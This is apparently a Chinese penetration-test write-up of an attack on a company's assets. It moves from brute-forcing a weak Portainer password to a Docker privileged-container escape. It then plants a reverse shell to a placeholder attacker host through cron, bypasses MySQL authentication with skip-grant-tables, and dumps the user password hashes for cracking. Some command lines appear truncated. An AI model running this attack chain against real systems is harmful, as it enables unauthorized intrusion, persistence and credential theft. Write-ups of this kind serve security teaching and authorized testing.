声明:本文中所测试的站点已获得授权进行渗透测试,任何模仿或借鉴本文思路或方法所造成的损失及引起的后果,请自行承担责任!!!
目标是某司及其旗下控股50%以上的子公司进行模拟真实的攻击行为。花了几天时间发现其正面实在是难有什么收获或者突破,而且他的安全设备给我的压力也是非常的大,所以俺果断转变的方向,直接开始对比较“偏僻”的资产进行信息收集与测试,对一些看上去是“主力”的资产我是直接忽略了。通过各种信息收集工具的搭配使用,在一个“偏僻的端口上”发现一个portainer服务,再加上他没有登录次数的限制与验证码,所以直接弱口令爆出了密码。
既然跟docker有关,想拿到shell的话,那必定是要用到docker逃逸方面的知识了。这里我随便拉去一个镜像并赋予特权模式让服务器磁盘挂在到拉去的镜像下,在通过crontab计划任务写入shell来达到目的
容器搭建好后启动运行,进入命令模式,查看当前是否是特权模式:
1 | cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" |
挂载磁盘
1 | cd / |
写入反弹shell
首先新建一个反弹脚本:
1 | echo "bash -i >& /dev/tcp/attack_ip/port 0>&1" > /test/etc/sysconfig/auto.sh |
crontab写入计划任务
1 | # 每两个小时运行一次反弹脚本 |
(tips:crontab -l :查看计划任务列表)
连接数据库
反弹登录之后,发现是root权限,并在主目录下发现mysql初始化密码生成的隐藏文件.secret,但尝试登录后无果,应该是已经修改了密码,我们需要在/etc/my.cnf文件最后一行添加:skip-grant-tables ,来绕过mysql的登录。
1 | echo "skip-grant-tables" >> /etc/my.cnf |
同时因为是反弹shell,所以进入mysql后内容是无法反弹的,所以我们需要直接在mysql外面执行命令:如:mysql -se “show databases;”
新增一个拥有所有权限的新用户:
1 | mysql -se "grant all on *.* to 'name'@'%' identified by 'password';" |
但发现通过无密码登录是执行不了这种新增权限的命令的,无奈那就只能换方法咯!
直接查看mysql中存储用户信息的user表,密码是MD5加密的,我们需要去在线解一下密即可。
1 | mysql -D mysql -se "select * from user;" |
成功显示出md5加密后的密码,接下来找一个在线md5解密一下即可,因为我这个密码比较复杂,还是申请使用了长亭无锋才md5解密成功~~~
接下来navicat直接连接数据库。
TIPs
关于docker逃逸的其他姿势,可以学习一下这位师傅的博客总结:
1 | https://wiki.teamssix.com/CloudNative/Docker/ |